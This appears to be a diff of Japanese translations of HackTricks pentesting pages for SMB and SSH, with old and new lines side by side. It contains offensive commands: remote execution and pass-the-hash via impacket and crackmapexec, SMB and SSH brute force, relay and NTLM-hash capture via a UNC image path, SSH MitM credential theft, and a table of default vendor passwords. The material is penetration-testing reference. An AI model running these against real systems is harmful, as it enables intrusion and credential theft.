| `magic script = script.sh` | スクリプトが終了したときにどのスクリプトを実行するか? |
|
| `magic script = script.sh` | スクリプトが終了したときにどのスクリプトを実行するか? |
|
||||||
| `magic output = script.out` | magic script の出力をどこに保存するか? |
|
| `magic output = script.out` | magic script の出力をどこに保存するか? |
|
||||||
|
|
||||||
`/etc/samba/smb.conf` の設定や共有の状態は `smbstatus` コマンドで確認できます。`smbstatus` コマンドは **サーバー** と **誰が接続しているか** に関する情報を表示します。
|
`smbstatus` コマンドは **サーバー** および **接続中のユーザー** に関する情報を表示します。
|
||||||
|
|
||||||
## Kerberos を使った認証
|
## Kerberos を使った認証
|
||||||
|
|
||||||
ツール **smbclient** と **rpcclient** を使用して **Kerberos** に **認証** することができます:
|
ツール **smbclient** と **rpcclient** を使って **Kerberos** に**認証**できます:
|
||||||
```bash
|
```bash
|
||||||
smbclient --kerberos //ws01win10.domain.com/C$
|
smbclient --kerberos //ws01win10.domain.com/C$
|
||||||
rpcclient -k ws01win10.domain.com
|
rpcclient -k ws01win10.domain.com
|
||||||
```
|
```
|
||||||
## **コマンド実行**
|
Kerberos-only 環境(NTLM disabled)では、SMB に対する NTLM の試行が `STATUS_NOT_SUPPORTED` を返すことがあります。一般的な Kerberos の問題を修正し、Kerberos auth を強制してください:
|
||||||
|
```bash
|
||||||
|
# sync clock to avoid KRB_AP_ERR_SKEW
|
||||||
|
sudo ntpdate <dc.fqdn>
|
||||||
|
|
||||||
|
# use Kerberos with tooling (reads your TGT from ccache)
|
||||||
|
netexec smb <dc.fqdn> -k
|
||||||
|
```
|
||||||
|
完全なクライアントセットアップ(krb5.conf生成、kinit、SSH GSSAPI/SPNの注意点)については、以下を参照してください:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../pentesting-kerberos-88/README.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## **Execute Commands**
|
||||||
|
|
||||||
### **crackmapexec**
|
### **crackmapexec**
|
||||||
|
|
||||||
crackmapexec は **mmcexec, smbexec, atexec, wmiexec** のいずれかを**悪用して**コマンドを実行できます。**wmiexec** が**デフォルト**の方法です。使用するオプションはパラメータ `--exec-method` で指定できます:
|
crackmapexecは**mmcexec, smbexec, atexec, wmiexec**のいずれかを悪用してコマンドを実行できます。デフォルトの方法は**wmiexec**です。使用する方法はパラメータ `--exec-method` で指定できます:
|
||||||
```bash
|
```bash
|
||||||
apt-get install crackmapexec
|
apt-get install crackmapexec
|
||||||
|
|
||||||
@ -380,9 +396,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||||||
```
|
```
|
||||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||||
|
|
||||||
どちらのオプションも被害者マシン上で **新しいサービスを作成**(SMB 経由で _\pipe\svcctl_ を使用)し、それを使って **何かを実行** します(**psexec** は実行ファイルを ADMIN$ 共有に **upload** し、**smbexec** は **cmd.exe/powershell.exe** を指定して引数に payload を渡します --**file-less technique-**-)。\
|
どちらのオプションも被害者マシン上で(SMB経由で _\pipe\svcctl_ を使用し)**新しいサービスを作成**し、それを使って**何かを実行します**(**psexec** は実行可能ファイルを ADMIN$ 共有に**アップロード**し、**smbexec** は **cmd.exe/powershell.exe** を指して引数にペイロードを入れる --**file-less technique-**-).\
|
||||||
**詳細情報** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)and [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
**詳細情報** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) と [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||||
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
**kali** では /usr/share/doc/python3-impacket/examples/ にあります
|
||||||
```bash
|
```bash
|
||||||
#If no password is provided, it will be prompted
|
#If no password is provided, it will be prompted
|
||||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
@ -390,11 +406,11 @@ In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|||||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||||
```
|
```
|
||||||
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます
|
**parameter**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます。
|
||||||
|
|
||||||
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
|
||||||
|
|
||||||
DCOM経由(**port 135.**)でディスクに触れたり新しいサービスを起動したりせずに、コマンドシェルをステルス実行できます。\
|
DCOMを使い、**port 135.**\経由でディスクに触れたり新しいサービスを起動したりすることなく、コマンドシェルをステルスで実行します。\
|
||||||
**kali**では /usr/share/doc/python3-impacket/examples/ にあります
|
**kali**では /usr/share/doc/python3-impacket/examples/ にあります
|
||||||
```bash
|
```bash
|
||||||
#If no password is provided, it will be prompted
|
#If no password is provided, it will be prompted
|
||||||
@ -402,7 +418,7 @@ DCOM経由(**port 135.**)でディスクに触れたり新しいサービス
|
|||||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||||
```
|
```
|
||||||
**パラメータ**`-k` を使用すると、**kerberos** に対して **NTLM** の代わりに認証できます。
|
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます。
|
||||||
```bash
|
```bash
|
||||||
#If no password is provided, it will be prompted
|
#If no password is provided, it will be prompted
|
||||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||||
@ -411,8 +427,8 @@ DCOM経由(**port 135.**)でディスクに触れたり新しいサービス
|
|||||||
```
|
```
|
||||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||||
|
|
||||||
Task Scheduler を介してコマンドを実行します(_\pipe\atsvc_ via SMB)。\
|
Task Scheduler を介してコマンドを実行する(SMB 経由で _\pipe\atsvc_ を使用)。\
|
||||||
**kali** では /usr/share/doc/python3-impacket/examples/ にあります
|
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
|
||||||
```bash
|
```bash
|
||||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||||
@ -421,46 +437,46 @@ Task Scheduler を介してコマンドを実行します(_\pipe\atsvc_ via SM
|
|||||||
|
|
||||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||||
|
|
||||||
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
|
### ksmbd の攻撃面と SMB2/SMB3 プロトコル fuzzing (syzkaller)
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
ksmbd-attack-surface-and-fuzzing-syzkaller.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **Bruteforce users credentials**
|
## **Bruteforce ユーザー資格情報**
|
||||||
|
|
||||||
**これは推奨されません。許可された最大試行回数を超えるとアカウントがロックされる可能性があります。**
|
**これは推奨されません。許可されている最大試行回数を超えるとアカウントがブロックされる可能性があります。**
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-brute -p 445 <IP>
|
nmap --script smb-brute -p 445 <IP>
|
||||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||||
```
|
```
|
||||||
## SMB relay attack
|
## SMB relay attack
|
||||||
|
|
||||||
この攻撃は Responder toolkit を使用して、内部ネットワーク上の **SMB authentication sessions** をキャプチャし、それらを **target machine** にリレーします。認証 **session** が成功すると、自動的に **system** **shell** に入ります。\
|
この攻撃は Responder ツールキットを使用して、内部ネットワーク上の **SMB 認証セッションをキャプチャ** し、それらを **ターゲットマシン** に **中継** します。認証 **セッションが成功した場合**、自動的に **system シェル** に入ります。\
|
||||||
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[**この攻撃の詳細はこちら。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
|
|
||||||
## SMB-Trap
|
## SMB-Trap
|
||||||
|
|
||||||
Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると自動的にホストへ認証を試みます。例えば: `img src="\\10.10.10.10\path\image.jpg"`
|
Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると、自動的にホストへ認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`
|
||||||
|
|
||||||
This happens with the functions:
|
これは以下の関数で発生します:
|
||||||
|
|
||||||
- URLDownloadToFile
|
- URLDownloadToFile
|
||||||
- URLDownloadToCache
|
- URLDownloadToCache
|
||||||
- URLOpenStream
|
- URLOpenStream
|
||||||
- URLOpenBlockingStream
|
- URLOpenBlockingStream
|
||||||
|
|
||||||
Which are used by some browsers and tools (like Skype)
|
これらは一部のブラウザやツール(例: Skype)で使用されます。
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### SMBTrap using MitMf
|
### SMBTrap を MitMf で実行
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## NTLM Theft
|
## NTLM Theft
|
||||||
|
|
||||||
SMB Trapping と同様に、悪意のあるファイルを target system に置く(例えば SMB 経由で)ことで SMB 認証試行を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。傍受したハッシュはオフラインでクラックするか、[SMB relay attack](#smb-relay-attack) に使用できます。
|
SMB Trapping と同様に、ターゲットシステムに悪意のあるファイルを配置する(例えば SMB 経由)ことで SMB 認証を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。そのハッシュはオフラインでクラッキングするか、[SMB relay attack](#smb-relay-attack) に利用できます。
|
||||||
|
|
||||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||||
|
|
||||||
@ -497,8 +513,8 @@ getArch.py -target {IP}
|
|||||||
|
|
||||||
With Creds
|
With Creds
|
||||||
smbmap -H {IP} -u {Username} -p {Password}
|
smbmap -H {IP} -u {Username} -p {Password}
|
||||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||||
@ -533,4 +549,10 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
## 参考文献
|
||||||
|
|
||||||
|
- [NetExec (CME) wiki – Kerberos usage](https://www.netexec.wiki/)
|
||||||
|
- [Pentesting Kerberos (88) – client setup and troubleshooting](../pentesting-kerberos-88/README.md)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**SSH (Secure Shell or Secure Socket Shell)** は、未保護のネットワークを介してコンピュータに安全に接続するためのネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と整合性を維持するために不可欠です。
|
**SSH (Secure Shell or Secure Socket Shell)** は、未保護のネットワーク上でコンピュータへの安全な接続を確立するネットワークプロトコルです。リモートシステムにアクセスする際のデータの機密性と完全性を維持するために不可欠です。
|
||||||
|
|
||||||
**デフォルトポート:** 22
|
**デフォルトポート:** 22
|
||||||
```
|
```
|
||||||
@ -12,42 +12,42 @@
|
|||||||
```
|
```
|
||||||
**SSH サーバー:**
|
**SSH サーバー:**
|
||||||
|
|
||||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH、BSD、LinuxディストリビューションおよびWindows 10以降のWindowsに搭載
|
- [openSSH](http://www.openssh.org) – OpenBSD の SSH。BSD、Linux ディストリビューション、Windows(Windows 10 以降)に搭載。
|
||||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 低メモリおよびプロセッサリソースの環境向けのSSH実装、OpenWrtに搭載
|
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – メモリやプロセッサリソースが限られた環境向けの SSH 実装で、OpenWrt に搭載。
|
||||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows用のSSH実装、クライアントは一般的に使用されるが、サーバーの使用は稀
|
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows 向けの SSH 実装。クライアントは一般的に使われるが、サーバーとしての利用は稀。
|
||||||
- [CopSSH](https://www.itefix.net/copssh) – Windows用のOpenSSH実装
|
- [CopSSH](https://www.itefix.net/copssh) – Windows 向けの OpenSSH 実装。
|
||||||
|
|
||||||
**SSHライブラリ(サーバーサイドの実装):**
|
**SSH ライブラリ(サーバー側実装):**
|
||||||
|
|
||||||
- [libssh](https://www.libssh.org) – SSHv2プロトコルを実装するマルチプラットフォームCライブラリ、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/)および[R](https://github.com/ropensci/ssh)にバインディングがある; KDEのsftpやGitHubのgit SSHインフラストラクチャで使用されている
|
- [libssh](https://www.libssh.org) – SSHv2 プロトコルを実装したマルチプラットフォームの C ライブラリで、[Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 、[R](https://github.com/ropensci/ssh) のバインディングがある。sftp では KDE、git の SSH インフラでは GitHub によって利用されている。
|
||||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI Cで書かれたSSHv2サーバーライブラリ、組み込み、RTOS、およびリソース制約のある環境向け
|
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – ANSI C で書かれた SSHv2 サーバーライブラリで、組み込み、RTOS、リソース制約のある環境をターゲットにしている。
|
||||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache MINAに基づくApache SSHD Javaライブラリ
|
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD の Java ライブラリは Apache MINA に基づいている。
|
||||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2プロトコルライブラリ
|
- [paramiko](https://github.com/paramiko/paramiko) – Python 向けの SSHv2 プロトコルライブラリ。
|
||||||
|
|
||||||
## 列挙
|
## Enumeration
|
||||||
|
|
||||||
### バナーグラビング
|
### Banner Grabbing
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 22
|
nc -vn <IP> 22
|
||||||
```
|
```
|
||||||
### 自動化された ssh-audit
|
### 自動化された ssh-audit
|
||||||
|
|
||||||
ssh-auditは、sshサーバーとクライアントの設定監査のためのツールです。
|
ssh-audit は ssh サーバ & クライアントの設定監査用ツールです。
|
||||||
|
|
||||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)は、[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)からの更新されたフォークです。
|
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||||
|
|
||||||
**特徴:**
|
**機能:**
|
||||||
|
|
||||||
- SSH1およびSSH2プロトコルサーバーのサポート;
|
- SSH1 および SSH2 プロトコルのサーバサポート;
|
||||||
- SSHクライアント設定の分析;
|
- SSH クライアントの設定を解析;
|
||||||
- バナーを取得し、デバイスまたはソフトウェアとオペレーティングシステムを認識し、圧縮を検出;
|
- バナーを取得し、デバイスやソフトウェアとオペレーティングシステムを認識し、圧縮を検出;
|
||||||
- キー交換、ホストキー、暗号化およびメッセージ認証コードアルゴリズムを収集;
|
- 鍵交換、ホストキー、暗号化、およびメッセージ認証コードアルゴリズムを収集;
|
||||||
- アルゴリズム情報を出力(利用可能な時期、削除/無効、危険/弱/レガシーなど);
|
- アルゴリズム情報を出力(導入時期、削除/無効化、安全でない/弱い/レガシー など);
|
||||||
- アルゴリズムの推奨事項を出力(認識されたソフトウェアバージョンに基づいて追加または削除);
|
- アルゴリズム推奨を出力(認識されたソフトウェアのバージョンに基づいて追加または削除);
|
||||||
- セキュリティ情報を出力(関連する問題、割り当てられた CVE リストなど);
|
- セキュリティ情報を出力(関連する問題、割り当てられた CVE リストなど);
|
||||||
- アルゴリズム情報に基づいてSSHバージョンの互換性を分析;
|
- アルゴリズム情報に基づく SSH バージョン互換性の分析;
|
||||||
- OpenSSH、Dropbear SSHおよびlibsshからの履歴情報;
|
- OpenSSH、Dropbear SSH、libssh からの履歴情報;
|
||||||
- LinuxおよびWindowsで実行;
|
- Linux と Windows 上で動作;
|
||||||
- 依存関係なし
|
- 依存関係なし
|
||||||
```bash
|
```bash
|
||||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||||
@ -69,7 +69,7 @@ use -t to change timeout)
|
|||||||
(default: 5)
|
(default: 5)
|
||||||
$ python3 ssh-audit <IP>
|
$ python3 ssh-audit <IP>
|
||||||
```
|
```
|
||||||
[See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
[実演を見る (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||||
|
|
||||||
### サーバーの公開SSHキー
|
### サーバーの公開SSHキー
|
||||||
```bash
|
```bash
|
||||||
@ -77,7 +77,7 @@ ssh-keyscan -t rsa <IP> -p <PORT>
|
|||||||
```
|
```
|
||||||
### 弱い暗号アルゴリズム
|
### 弱い暗号アルゴリズム
|
||||||
|
|
||||||
これはデフォルトで**nmap**によって発見されます。しかし、**sslcan**や**sslyze**を使用することもできます。
|
これはデフォルトで**nmap**によって検出されます。ただし**sslcan**や**sslyze**も使用できます。
|
||||||
|
|
||||||
### Nmap スクリプト
|
### Nmap スクリプト
|
||||||
```bash
|
```bash
|
||||||
@ -91,54 +91,74 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
|||||||
|
|
||||||
- `ssh`
|
- `ssh`
|
||||||
|
|
||||||
## ブルートフォースユーザー名、パスワード、プライベートキー
|
## Brute force usernames, passwords and private keys
|
||||||
|
|
||||||
### ユーザー名列挙
|
### Username Enumeration
|
||||||
|
|
||||||
OpenSSHのいくつかのバージョンでは、タイミング攻撃を行ってユーザーを列挙することができます。これを利用するためにmetasploitモジュールを使用できます:
|
特定のバージョンの OpenSSH では、timing attack を行ってユーザーを列挙できることがあります。これを悪用するための metasploit module を利用できます:
|
||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_enumusers
|
msf> use scanner/ssh/ssh_enumusers
|
||||||
```
|
```
|
||||||
### [ブルートフォース](../generic-hacking/brute-force.md#ssh)
|
### [Brute force](../generic-hacking/brute-force.md#ssh)
|
||||||
|
|
||||||
一般的なssh認証情報は[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)と[こちら](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)および以下にあります。
|
いくつかの一般的な ssh 認証情報は [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt)、および以下にあります。
|
||||||
|
|
||||||
### プライベートキーのブルートフォース
|
### Private Key Brute Force
|
||||||
|
|
||||||
使用できるsshプライベートキーをいくつか知っている場合... 試してみましょう。nmapスクリプトを使用できます:
|
使えそうな ssh の秘密鍵がいくつか分かっているなら…試してみましょう。nmap スクリプトを使うことができます:
|
||||||
```
|
```
|
||||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||||
```
|
```
|
||||||
またはMSF補助モジュール:
|
または MSF auxiliary module:
|
||||||
```
|
```
|
||||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||||
```
|
```
|
||||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
または `ssh-keybrute.py` を使用してください(native python3、軽量でレガシーアルゴリズムが有効): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||||
|
|
||||||
|
#### 既知の badkeys はここで見つかります:
|
||||||
|
|
||||||
#### Known badkeys can be found here:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
#### Weak SSH keys / Debian predictable PRNG
|
#### 弱い SSH keys / Debian の予測可能な PRNG
|
||||||
|
|
||||||
一部のシステムには、暗号材料を生成するために使用されるランダムシードに既知の欠陥があります。これにより、ブルートフォース攻撃が可能な大幅に減少したキー空間が生じる可能性があります。弱いPRNGの影響を受けたDebianシステムで生成された事前生成されたキーセットは、ここで入手できます: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
|
一部のシステムでは、暗号化素材を生成するための乱数シードに既知の欠陥があり、その結果 keyspace が劇的に減少して bruteforced され得ます。弱い PRNG の影響を受けた Debian システム上で生成された事前生成のキーセットはここにあります: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||||
|
|
||||||
被害者のマシンの有効なキーを検索するには、ここを確認する必要があります。
|
有効なキーをターゲットマシンで探す場合は、ここを確認してください。
|
||||||
|
|
||||||
### Kerberos
|
### Kerberos / GSSAPI SSO
|
||||||
|
|
||||||
**crackmapexec**は、`ssh`プロトコルを使用して、**kerberos経由で認証**するために`--kerberos`オプションを使用できます。\
|
ターゲットの SSH サーバが GSSAPI をサポートしている場合(例: domain controller 上の Windows OpenSSH)、パスワードの代わりに Kerberos TGT を使って認証できます。
|
||||||
詳細については、`crackmapexec ssh --help`を実行してください。
|
|
||||||
|
|
||||||
## Default Credentials
|
Linux 攻撃者ホストからのワークフロー:
|
||||||
|
```bash
|
||||||
|
# 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW
|
||||||
|
sudo ntpdate <dc.fqdn>
|
||||||
|
|
||||||
| **Vendor** | **Usernames** | **Passwords** |
|
# 2) Generate a krb5.conf for the target realm (optional, but handy)
|
||||||
|
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||||
|
sudo cp krb5.conf /etc/krb5.conf
|
||||||
|
|
||||||
|
# 3) Obtain a TGT for the user
|
||||||
|
kinit <user>
|
||||||
|
klist
|
||||||
|
|
||||||
|
# 4) SSH with GSSAPI, using the FQDN that matches the host SPN
|
||||||
|
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||||
|
```
|
||||||
|
注意事項:
|
||||||
|
- ホスト名が間違っている場合(例: 短縮ホスト名、エイリアス、または `/etc/hosts` の順序が間違っているなど)に接続すると、SPN が一致しないため "Server not found in Kerberos database" というエラーが発生することがあります。
|
||||||
|
- `crackmapexec ssh --kerberos` は Kerberos 認証であなたの ccache を使用することもできます。
|
||||||
|
|
||||||
|
## デフォルトの認証情報
|
||||||
|
|
||||||
|
| **ベンダー** | **ユーザー名** | **パスワード** |
|
||||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| APC | apc, device | apc |
|
| APC | apc, device | apc |
|
||||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||||
| D-Link | admin, user | private, admin, user |
|
| D-Link | admin, user | private, admin, user |
|
||||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||||
@ -153,43 +173,41 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
|||||||
|
|
||||||
## SSH-MitM
|
## SSH-MitM
|
||||||
|
|
||||||
もしあなたが被害者と同じローカルネットワークにいて、ユーザー名とパスワードを使用してSSHサーバーに接続しようとしている場合、**MitM攻撃を実行してその資格情報を盗むことができます:**
|
ローカルネットワークにいて、ユーザー名とパスワードで SSH サーバに接続しようとしている被害者がいる場合、それらの認証情報を盗むために **MitM 攻撃を実行する** ことを試みることができます:
|
||||||
|
|
||||||
**攻撃経路:**
|
- **トラフィックのリダイレクト:** 攻撃者は被害者のトラフィックを自分のマシンに迂回させ、SSH サーバへの接続試行を効果的に傍受します。
|
||||||
|
- **傍受とログ記録:** 攻撃者のマシンはプロキシとして動作し、正規の SSH サーバになりすましてユーザのログイン情報を**取得**します。
|
||||||
|
- **コマンド実行と中継:** 最終的に攻撃者のサーバはユーザの認証情報を**記録**し、コマンドを実際の SSH サーバへ**転送**して**実行**し、その結果をユーザへ**返送**するため、プロセスはシームレスかつ正当なものに見えます。
|
||||||
|
|
||||||
